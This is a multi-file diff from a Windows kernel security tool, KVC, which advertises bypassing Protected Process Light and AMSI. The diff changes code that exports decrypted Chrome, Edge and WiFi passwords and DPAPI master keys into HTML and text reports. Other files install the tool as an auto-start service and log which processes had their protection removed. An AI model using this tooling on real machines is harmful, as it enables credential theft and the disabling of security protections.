KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "ReportExporter.h"
#include "Controller.h"
#include <filesystem>
@@ -42,12 +17,8 @@ ReportData::ReportData(const std::vector<PasswordResult>& results,
: passwordResults(results), masterKeys(keys), outputPath(path)
{
// Generate timestamp for report
time_t now = time(nullptr);
char timestampBuffer[20];
struct tm timeInfo;
localtime_s(&timeInfo, &now);
strftime(timestampBuffer, sizeof(timestampBuffer), "%Y-%m-%d %H:%M:%S", &timeInfo);
timestamp = timestampBuffer;
std::wstring wts = TimeUtils::GetFormattedTimestamp("datetime_display");
timestamp = StringUtils::WideToUTF8(wts);
CalculateStatistics();
}
@@ -239,8 +210,8 @@ std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcep
}
// Convert binary data to hex strings
std::string rawHex = BytesToHexString(masterKey.encryptedData);
std::string processedHex = BytesToHexString(masterKey.decryptedData);
std::string rawHex = CryptoUtils::BytesToHex(masterKey.encryptedData, 32);
std::string processedHex = CryptoUtils::BytesToHex(masterKey.decryptedData, 32);
// Truncate for display if too long
if (rawHex.length() > 64) {
@@ -291,12 +262,12 @@ std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept
std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge";
table << " <tr class=\"" << cssClass << "\">\n";
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
table << " <td>" << WStringToUTF8(result.url) << "</td>\n";
table << " <td>" << WStringToUTF8(result.username) << "</td>\n";
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
table << " <td>" << StringUtils::WideToUTF8(result.url) << "</td>\n";
table << " <td>" << StringUtils::WideToUTF8(result.username) << "</td>\n";
table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
table << " </tr>\n";
}
}
@@ -325,10 +296,10 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
for (const auto& result : data.passwordResults) {
if (result.type.find(L"WiFi") != std::wstring::npos) {
table << " <tr class=\"wifi\">\n";
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
table << " </tr>\n";
}
}
@@ -337,25 +308,6 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
return table.str();
}
// Convert byte vector to hex string for display
std::string ReportExporter::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
{
if (bytes.empty()) return "N/A";
std::ostringstream hexStream;
hexStream << std::hex << std::setfill('0');
for (size_t i = 0; i < bytes.size() && i < 32; ++i) { // Limit to first 32 bytes for display
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
}
if (bytes.size() > 32) {
hexStream << "...";
}
return hexStream.str();
}
// TXT report generation for lightweight output
std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept
{
@@ -439,17 +391,6 @@ std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept
return section.str();
}
// Utility functions for file handling and encoding
std::string ReportExporter::WStringToUTF8(const std::wstring& wstr) noexcept
{
if (wstr.empty()) return "";
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), NULL, 0, NULL, NULL);
std::string strTo(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
return strTo;
}
std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept
{
return outputPath + L"\\dpapi_results.html";

View File

@@ -1,3 +1,5 @@
// ReportExporter.h - Export DPAPI extraction results in HTML, TXT, and console formats
#pragma once
#include "common.h"
@@ -7,13 +9,16 @@
struct PasswordResult;
struct RegistryMasterKey;
// Report data aggregation with automatic statistics
/**
* @struct ReportData
* Aggregates extraction results and calculates statistics
*/
struct ReportData
{
std::vector<PasswordResult> passwordResults;
std::vector<RegistryMasterKey> masterKeys;
std::wstring outputPath;
std::string timestamp;
std::vector<PasswordResult> passwordResults; ///< Extracted passwords
std::vector<RegistryMasterKey> masterKeys; ///< Extracted registry keys
std::wstring outputPath; ///< Output directory
std::string timestamp; ///< Generation timestamp
struct Stats {
int totalPasswords = 0;
@@ -29,10 +34,13 @@ struct ReportData
const std::wstring& path);
private:
void CalculateStatistics();
void CalculateStatistics(); ///< Populate stats from results
};
// Professional report export in multiple formats
/**
* ReportExporter
* Generates professional reports in multiple formats
*/
class ReportExporter
{
public:
@@ -44,15 +52,13 @@ public:
ReportExporter(ReportExporter&&) noexcept = default;
ReportExporter& operator=(ReportExporter&&) noexcept = default;
// Main export interface
bool ExportAllFormats(const ReportData& data) noexcept;
bool ExportHTML(const ReportData& data) noexcept;
bool ExportTXT(const ReportData& data) noexcept;
void DisplaySummary(const ReportData& data) noexcept;
bool ExportAllFormats(const ReportData& data) noexcept; ///< HTML + TXT + console summary
bool ExportHTML(const ReportData& data) noexcept; ///< Generate HTML report
bool ExportTXT(const ReportData& data) noexcept; ///< Generate TXT report
void DisplaySummary(const ReportData& data) noexcept; ///< Print console summary
private:
// HTML generation with obfuscated markup
// HTML generation
std::string GenerateHTMLContent(const ReportData& data) noexcept;
std::string BuildHTMLHeader(const ReportData& data) noexcept;
std::string BuildSummarySection(const ReportData& data) noexcept;
@@ -60,19 +66,15 @@ private:
std::string BuildPasswordsTable(const ReportData& data) noexcept;
std::string BuildWiFiTable(const ReportData& data) noexcept;
// TXT generation for lightweight output
// TXT generation
std::wstring GenerateTXTContent(const ReportData& data) noexcept;
std::wstring BuildTXTHeader(const ReportData& data) noexcept;
std::wstring BuildTXTMasterKeys(const ReportData& data) noexcept;
std::wstring BuildTXTPasswords(const ReportData& data) noexcept;
std::wstring BuildTXTWiFi(const ReportData& data) noexcept;
// Utility functions for encoding and paths
std::string WStringToUTF8(const std::wstring& wstr) noexcept;
// Utilities
std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept;
std::wstring GetTXTPath(const std::wstring& outputPath) noexcept;
bool EnsureOutputDirectory(const std::wstring& path) noexcept;
// Utility for DPAPI key display
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
};

192
kvc/ScreenShake.asm Normal file
View File

@@ -0,0 +1,192 @@
; ============================================================================
; ScreenShake.asm - x64 Windows Assembly
; ============================================================================
; Desktop shake effect using GDI BitBlt operation
;
; Description:
; Creates a horizontal screen shake effect by repeatedly copying the desktop
; device context with alternating left/right offsets. The effect applies to
; the entire desktop, not just the calling application window.
;
; Calling Convention:
; Microsoft x64 calling convention (fastcall)
; extern "C" void ScreenShake(int intensity, int shakes);
;
; Parameters:
; RCX (intensity) - Horizontal offset in pixels for shake effect
; RDX (shakes) - Number of shake iterations to perform
;
; Returns:
; void
;
; Notes:
; - Uses desktop DC (GetDC(NULL)) to affect entire screen
; - Each shake takes ~10ms (Sleep duration)
; - User can abort by pressing SPACE key
; - Screen is restored to original position on exit
; ============================================================================
.code
; External Win32 API functions
extern GetDC:proc ; Retrieve device context handle
extern ReleaseDC:proc ; Release device context handle
extern BitBlt:proc ; Bit block transfer (copy pixels)
extern GetAsyncKeyState:proc ; Check key state (for abort)
extern Sleep:proc ; Suspend thread execution
; Export function for C++ linkage
public ScreenShake
; API Constants
SRCCOPY equ 00CC0020h ; BitBlt raster operation: direct copy
VK_SPACE equ 20h ; Virtual key code for spacebar
; ============================================================================
; Main Function: ScreenShake
; ============================================================================
ScreenShake proc
; Function parameters (Microsoft x64 fastcall convention):
; RCX = intensity (int) - pixel offset for shake
; RDX = shakes (int) - number of shake cycles
; -------------------------------------------------------------------------
; Prologue: Preserve non-volatile registers per calling convention
; -------------------------------------------------------------------------
push rbx ; Save rbx (used for counter)
push rsi ; Save rsi (reserved but unused)
push rdi ; Save rdi (used for direction)
push r12 ; Save r12 (intensity storage)
push r13 ; Save r13 (shake count storage)
push r14 ; Save r14 (reserved but unused)
push r15 ; Save r15 (DC handle storage)
sub rsp, 40h ; Allocate shadow space (32 bytes) + alignment
; -------------------------------------------------------------------------
; Store input parameters in non-volatile registers
; -------------------------------------------------------------------------
mov r12d, ecx ; r12 = intensity (preserve across calls)
mov r13d, edx ; r13 = total shakes to perform
; -------------------------------------------------------------------------
; Acquire desktop device context
; -------------------------------------------------------------------------
xor ecx, ecx ; Parameter: hWnd = NULL (desktop window)
call GetDC ; Returns HDC in RAX
mov r15, rax ; r15 = DC handle (preserved throughout)
; -------------------------------------------------------------------------
; Initialize loop variables
; -------------------------------------------------------------------------
mov edi, r12d ; edi = current direction (starts at +intensity)
xor ebx, ebx ; ebx = counter (initialize to 0)
; =============================================================================
; Main shake loop: Perform alternating left/right screen copies
; =============================================================================
shake_loop:
; -------------------------------------------------------------------------
; Check if we've completed all shake iterations
; -------------------------------------------------------------------------
cmp ebx, r13d ; Compare counter with total shakes
jge end_shake ; Exit if counter >= shakes
; -------------------------------------------------------------------------
; Check for user abort (SPACE key)
; -------------------------------------------------------------------------
mov ecx, VK_SPACE ; Parameter: virtual key code
call GetAsyncKeyState ; Returns key state in AX
test ax, 8000h ; Test high bit (key currently pressed?)
jnz end_shake ; Exit immediately if SPACE pressed
; -------------------------------------------------------------------------
; Prepare BitBlt parameters
; -------------------------------------------------------------------------
; BitBlt prototype:
; BOOL BitBlt(
; HDC hdc, [RCX] Destination DC
; int x, [RDX] Destination X coordinate
; int y, [R8] Destination Y coordinate
; int cx, [R9] Width to copy
; int cy, [stack+20h] Height to copy
; HDC hdcSrc, [stack+28h] Source DC
; int x1, [stack+30h] Source X coordinate
; int y1, [stack+38h] Source Y coordinate
; DWORD rop [stack+40h] Raster operation code
; );
mov rcx, r15 ; Param 1: destination DC (desktop)
movsxd rdx, edi ; Param 2: x offset (sign-extend direction)
xor r8, r8 ; Param 3: y = 0 (no vertical offset)
mov r9, 800h ; Param 4: width = 2048 pixels
; Stack parameters (5-9) - must be in shadow space + params area
mov dword ptr [rsp+20h], 800h ; Param 5: height = 2048 pixels
mov qword ptr [rsp+28h], r15 ; Param 6: source DC (same as dest)
mov dword ptr [rsp+30h], 0 ; Param 7: source x1 = 0
mov dword ptr [rsp+38h], 0 ; Param 8: source y1 = 0
mov dword ptr [rsp+40h], SRCCOPY ; Param 9: raster op (direct copy)
call BitBlt ; Execute screen copy with offset
; -------------------------------------------------------------------------
; Reverse direction for next iteration (creates shake effect)
; -------------------------------------------------------------------------
neg edi ; Invert sign: +intensity -> -intensity
; -------------------------------------------------------------------------
; Increment shake counter
; -------------------------------------------------------------------------
inc ebx ; counter++
; -------------------------------------------------------------------------
; Delay before next shake (makes effect visible)
; -------------------------------------------------------------------------
mov ecx, 10 ; Parameter: 10 milliseconds
call Sleep ; Suspend execution
jmp shake_loop ; Continue to next shake iteration
; =============================================================================
; Cleanup: Restore screen and release resources
; =============================================================================
end_shake:
; -------------------------------------------------------------------------
; Restore screen to original position (BitBlt with zero offset)
; -------------------------------------------------------------------------
mov rcx, r15 ; Destination DC
xor rdx, rdx ; x = 0 (no offset)
xor r8, r8 ; y = 0
mov r9, 800h ; width = 2048
mov dword ptr [rsp+20h], 800h ; height = 2048
mov qword ptr [rsp+28h], r15 ; source DC
mov dword ptr [rsp+30h], 0 ; source x1 = 0
mov dword ptr [rsp+38h], 0 ; source y1 = 0
mov dword ptr [rsp+40h], SRCCOPY ; raster op
call BitBlt ; Final restoration blit
; -------------------------------------------------------------------------
; Release desktop device context
; -------------------------------------------------------------------------
xor ecx, ecx ; Parameter: hWnd = NULL
mov rdx, r15 ; Parameter: HDC to release
call ReleaseDC ; Free DC resource
; -------------------------------------------------------------------------
; Epilogue: Restore registers and return
; -------------------------------------------------------------------------
add rsp, 40h ; Deallocate shadow space
pop r15 ; Restore r15
pop r14 ; Restore r14
pop r13 ; Restore r13
pop r12 ; Restore r12
pop rdi ; Restore rdi
pop rsi ; Restore rsi
pop rbx ; Restore rbx
ret ; Return to caller
ScreenShake endp
end

View File

@@ -1,29 +1,4 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// SelfLoader.cpp
// SelfLoader.cpp
#include <windows.h>
#include <algorithm>
#include <cstring>

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "ServiceManager.h"
#include "Controller.h"
#include "KeyboardHook.h"
@@ -358,7 +333,7 @@ DWORD WINAPI ServiceManager::ServiceWorkerThread(LPVOID param)
}
// Wait for stop event with timeout for periodic tasks
DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 5000);
DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 100);
if (waitResult == WAIT_OBJECT_0) {
INFO(L"SERVICE WORKER: Stop event signaled");

View File

@@ -1,10 +1,12 @@
// ServiceManager.h - Windows NT service controller for single-binary KVC deployment
#pragma once
#include "common.h"
#include <string>
#include <memory>
// NT Service management for single-binary deployment
// Manages Windows service installation, start/stop, and single-binary execution mode
class ServiceManager
{
public:
@@ -14,32 +16,54 @@ public:
ServiceManager(const ServiceManager&) = delete;
ServiceManager& operator=(const ServiceManager&) = delete;
// Service lifecycle management
static bool InstallService(const std::wstring& exePath) noexcept;
// === Service Lifecycle Management ===
// Install service (auto-start, Win32OwnProcess, admin required)
static bool InstallService(const std::wstring& exePath = L"") noexcept;
// Uninstall service (stops and removes if exists)
static bool UninstallService() noexcept;
// Start installed service (waits until running)
static bool StartServiceProcess() noexcept;
// Stop running service (graceful shutdown)
static bool StopServiceProcess() noexcept;
// Run current executable as registered Windows service
static int RunAsService() noexcept;
// Service configuration
// === Configuration Constants ===
static constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
static constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
static constexpr const wchar_t* SERVICE_DESCRIPTION = L"Provides kernel-level process protection and vulnerability assessment capabilities";
private:
// Service entry points
// === Service Entry Points ===
// SCM entry callback (initializes and runs service)
static VOID WINAPI ServiceMain(DWORD argc, LPWSTR* argv);
// SCM control handler (handles stop/shutdown/interrogate)
static VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode);
// Service worker thread (runs background logic)
static DWORD WINAPI ServiceWorkerThread(LPVOID param);
// Service state management
// === Internal State ===
static SERVICE_STATUS_HANDLE s_serviceStatusHandle;
static SERVICE_STATUS s_serviceStatus;
static HANDLE s_serviceStopEvent;
static volatile bool s_serviceRunning;
// Internal helpers
// Update service status in SCM
static bool SetServiceStatus(DWORD currentState, DWORD exitCode = NO_ERROR, DWORD waitHint = 0) noexcept;
// Cleanup service resources and report stopped state
static void ServiceCleanup() noexcept;
// Initialize internal service components before running
static bool InitializeServiceComponents() noexcept;
};

851
kvc/SessionManager.cpp Normal file
View File

@@ -0,0 +1,851 @@
// SessionManager.cpp
#include "SessionManager.h"
#include "Controller.h"
#include "Utils.h"
#include <algorithm>
#include <sstream>
#include <iomanip>
// Static cache cleared on reboot detection
static std::wstring g_cachedBootSession;
// Calculate current boot time as unique session ID
std::wstring SessionManager::CalculateBootTime() noexcept
{
FILETIME ftNow;
GetSystemTimeAsFileTime(&ftNow);
ULONGLONG currentTime = (static_cast<ULONGLONG>(ftNow.dwHighDateTime) << 32) | ftNow.dwLowDateTime;
ULONGLONG tickCount = GetTickCount64();
ULONGLONG bootTime = currentTime - (tickCount * 10000ULL);
std::wostringstream oss;
oss << bootTime;
return oss.str();
}
ULONGLONG SessionManager::GetLastBootIdFromRegistry() noexcept
{
std::wstring basePath = GetRegistryBasePath();
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return 0;
ULONGLONG lastBootId = 0;
DWORD dataSize = sizeof(ULONGLONG);
RegQueryValueExW(hKey, L"LastBootId", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastBootId), &dataSize);
RegCloseKey(hKey);
return lastBootId;
}
void SessionManager::SaveLastBootId(ULONGLONG bootId) noexcept
{
std::wstring basePath = GetRegistryBasePath();
HKEY hKey = OpenOrCreateKey(basePath);
if (hKey)
{
RegSetValueExW(hKey, L"LastBootId", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&bootId), sizeof(ULONGLONG));
RegCloseKey(hKey);
}
}
ULONGLONG SessionManager::GetLastTickCountFromRegistry() noexcept
{
std::wstring basePath = GetRegistryBasePath();
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return 0;
ULONGLONG lastTickCount = 0;
DWORD dataSize = sizeof(ULONGLONG);
RegQueryValueExW(hKey, L"LastTickCount", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastTickCount), &dataSize);
RegCloseKey(hKey);
return lastTickCount;
}
void SessionManager::SaveLastTickCount(ULONGLONG tickCount) noexcept
{
std::wstring basePath = GetRegistryBasePath();
HKEY hKey = OpenOrCreateKey(basePath);
if (hKey)
{
RegSetValueExW(hKey, L"LastTickCount", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&tickCount), sizeof(ULONGLONG));
RegCloseKey(hKey);
}
}
std::wstring SessionManager::GetCurrentBootSession() noexcept
{
if (!g_cachedBootSession.empty())
return g_cachedBootSession;
ULONGLONG lastBootId = GetLastBootIdFromRegistry();
if (lastBootId == 0)
{
// First run ever - calculate and save
std::wstring calculatedSession = CalculateBootTime();
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
SaveLastBootId(calculatedBootId);
g_cachedBootSession = calculatedSession;
return g_cachedBootSession;
}
// Use LastBootId from registry as session ID
std::wostringstream oss;
oss << lastBootId;
g_cachedBootSession = oss.str();
return g_cachedBootSession;
}
void SessionManager::DetectAndHandleReboot() noexcept
{
ULONGLONG currentTick = GetTickCount64();
ULONGLONG lastTick = GetLastTickCountFromRegistry();
ULONGLONG lastBootId = GetLastBootIdFromRegistry();
if (lastBootId == 0)
{
// First run ever
std::wstring calculatedSession = CalculateBootTime();
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
SaveLastBootId(calculatedBootId);
SaveLastTickCount(currentTick);
g_cachedBootSession = calculatedSession;
return;
}
// Detect reboot: tickCount decreased
if (currentTick < lastTick)
{
// New boot detected
std::wstring calculatedSession = CalculateBootTime();
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
SaveLastBootId(calculatedBootId);
SaveLastTickCount(currentTick);
g_cachedBootSession = calculatedSession;
// Enforce session limit
EnforceSessionLimit(MAX_SESSIONS);
}
else
{
// Same boot - use LastBootId as session ID
SaveLastTickCount(currentTick);
std::wostringstream oss;
oss << lastBootId;
g_cachedBootSession = oss.str();
}
}
std::vector<std::wstring> SessionManager::GetAllSessionIds() noexcept
{
std::vector<std::wstring> sessionIds;
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
HKEY hSessions;
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
return sessionIds;
DWORD index = 0;
wchar_t sessionName[256];
DWORD sessionNameSize;
while (true)
{
sessionNameSize = 256;
if (RegEnumKeyExW(hSessions, index, sessionName, &sessionNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
break;
sessionIds.push_back(sessionName);
index++;
}
RegCloseKey(hSessions);
return sessionIds;
}
void SessionManager::EnforceSessionLimit(int maxSessions) noexcept
{
auto sessions = GetAllSessionIds();
if (static_cast<int>(sessions.size()) <= maxSessions)
return;
// Sort sessions by ID (oldest first)
std::sort(sessions.begin(), sessions.end(), [](const std::wstring& a, const std::wstring& b) {
try {
return std::stoull(a) < std::stoull(b);
} catch (...) {
return a < b;
}
});
std::wstring currentSession = GetCurrentBootSession();
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
HKEY hSessions;
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_WRITE, &hSessions) != ERROR_SUCCESS)
return;
int toDelete = static_cast<int>(sessions.size()) - maxSessions;
int deleted = 0;
for (const auto& sessionId : sessions)
{
if (deleted >= toDelete)
break;
if (sessionId != currentSession)
{
DeleteKeyRecursive(hSessions, sessionId);
DEBUG(L"Deleted old session: %s", sessionId.c_str());
deleted++;
}
}
RegCloseKey(hSessions);
if (deleted > 0)
{
INFO(L"Enforced session limit: deleted %d old sessions", deleted);
}
}
void SessionManager::CleanupAllSessionsExceptCurrent() noexcept
{
std::wstring currentSession = GetCurrentBootSession();
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
HKEY hSessions;
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
{
INFO(L"No sessions to cleanup");
return;
}
DWORD index = 0;
wchar_t subKeyName[256];
DWORD subKeyNameSize;
std::vector<std::wstring> keysToDelete;
while (true)
{
subKeyNameSize = 256;
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
break;
std::wstring keyName = subKeyName;
if (keyName != currentSession)
keysToDelete.push_back(keyName);
index++;
}
for (const auto& key : keysToDelete)
{
DeleteKeyRecursive(hSessions, key);
}
RegCloseKey(hSessions);
if (!keysToDelete.empty())
{
SUCCESS(L"Cleaned up %zu old sessions (kept current session)", keysToDelete.size());
}
else
{
INFO(L"No old sessions to cleanup");
}
}
std::wstring SessionManager::GetRegistryBasePath() noexcept
{
return L"Software\\kvc";
}
std::wstring SessionManager::GetSessionPath(const std::wstring& sessionId) noexcept
{
return GetRegistryBasePath() + L"\\Sessions\\" + sessionId;
}
// Remove all session keys except current boot session
void SessionManager::CleanupStaleSessions() noexcept
{
std::wstring currentSession = GetCurrentBootSession();
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
HKEY hSessions;
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
return;
DWORD index = 0;
wchar_t subKeyName[256];
DWORD subKeyNameSize;
std::vector<std::wstring> keysToDelete;
while (true)
{
subKeyNameSize = 256;
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
break;
std::wstring keyName = subKeyName;
if (keyName != currentSession)
keysToDelete.push_back(keyName);
index++;
}
// Delete stale sessions
for (const auto& key : keysToDelete)
{
DeleteKeyRecursive(hSessions, key);
}
RegCloseKey(hSessions);
}
// Save process state before unprotect operation
bool SessionManager::SaveUnprotectOperation(const std::wstring& signerName,
const std::vector<ProcessEntry>& affectedProcesses) noexcept
{
if (affectedProcesses.empty())
return true;
// Use original signer name (no normalization)
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
std::wstring signerPath = sessionPath + L"\\" + signerName;
HKEY hKey = OpenOrCreateKey(signerPath);
if (!hKey)
{
ERROR(L"Failed to create registry key for session state");
return false;
}
DWORD index = 0;
for (const auto& proc : affectedProcesses)
{
SessionEntry entry;
entry.Pid = proc.Pid;
entry.ProcessName = proc.ProcessName;
entry.OriginalProtection = Utils::GetProtection(proc.ProtectionLevel, proc.SignerType);
entry.SignatureLevel = proc.SignatureLevel;
entry.SectionSignatureLevel = proc.SectionSignatureLevel;
entry.Status = L"UNPROTECTED";
if (!WriteSessionEntry(signerName, index, entry))
{
RegCloseKey(hKey);
return false;
}
index++;
}
// Write count
DWORD count = static_cast<DWORD>(affectedProcesses.size());
RegSetValueExW(hKey, L"Count", 0, REG_DWORD, reinterpret_cast<const BYTE*>(&count), sizeof(DWORD));
RegCloseKey(hKey);
SUCCESS(L"Session state saved to registry (%d processes tracked)", count);
return true;
}
bool SessionManager::WriteSessionEntry(const std::wstring& signerName, DWORD index, const SessionEntry& entry) noexcept
{
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
std::wstring signerPath = sessionPath + L"\\" + signerName;
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)
return false;
// Format: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
std::wostringstream oss;
oss << entry.Pid << L"|"
<< entry.ProcessName << L"|"
<< static_cast<int>(entry.OriginalProtection) << L"|"
<< static_cast<int>(entry.SignatureLevel) << L"|"
<< static_cast<int>(entry.SectionSignatureLevel) << L"|"
<< entry.Status;
std::wstring valueName = L"Proc_" + std::to_wstring(index);
std::wstring valueData = oss.str();
LONG result = RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ,
reinterpret_cast<const BYTE*>(valueData.c_str()),
static_cast<DWORD>((valueData.length() + 1) * sizeof(wchar_t)));
RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}
bool SessionManager::UpdateEntryStatus(const std::wstring& signerName, DWORD index, const std::wstring& newStatus) noexcept
{
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
std::wstring signerPath = sessionPath + L"\\" + signerName;
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
return false;
std::wstring valueName = L"Proc_" + std::to_wstring(index);
wchar_t valueData[512];
DWORD valueSize = sizeof(valueData);
if (RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr,
reinterpret_cast<BYTE*>(valueData), &valueSize) != ERROR_SUCCESS)
{
RegCloseKey(hKey);
return false;
}
// Parse existing entry
std::wstring data = valueData;
std::vector<std::wstring> parts;
std::wstring current;
for (wchar_t ch : data)
{
if (ch == L'|')
{
parts.push_back(current);
current.clear();
}
else
{
current += ch;
}
}
if (!current.empty())
parts.push_back(current);
if (parts.size() < 5)
{
RegCloseKey(hKey);
return false;
}
// Rebuild with new status
std::wostringstream oss;
oss << parts[0] << L"|" << parts[1] << L"|" << parts[2] << L"|"
<< parts[3] << L"|" << parts[4] << L"|" << newStatus;
std::wstring newValueData = oss.str();
LONG result = RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ,
reinterpret_cast<const BYTE*>(newValueData.c_str()),
static_cast<DWORD>((newValueData.length() + 1) * sizeof(wchar_t)));
RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}
std::vector<SessionEntry> SessionManager::LoadSessionEntries(const std::wstring& signerName) noexcept
{
std::vector<SessionEntry> entries;
// Normalize signer name for case-insensitive comparison
std::wstring normalizedSigner = signerName;
std::transform(normalizedSigner.begin(), normalizedSigner.end(),
normalizedSigner.begin(), ::towlower);
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
HKEY hSession;
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
return entries;
// Search all subkeys for matching signer (case-insensitive)
DWORD index = 0;
wchar_t subKeyName[256];
DWORD subKeyNameSize;
std::wstring foundSignerKey;
while (true)
{
subKeyNameSize = 256;
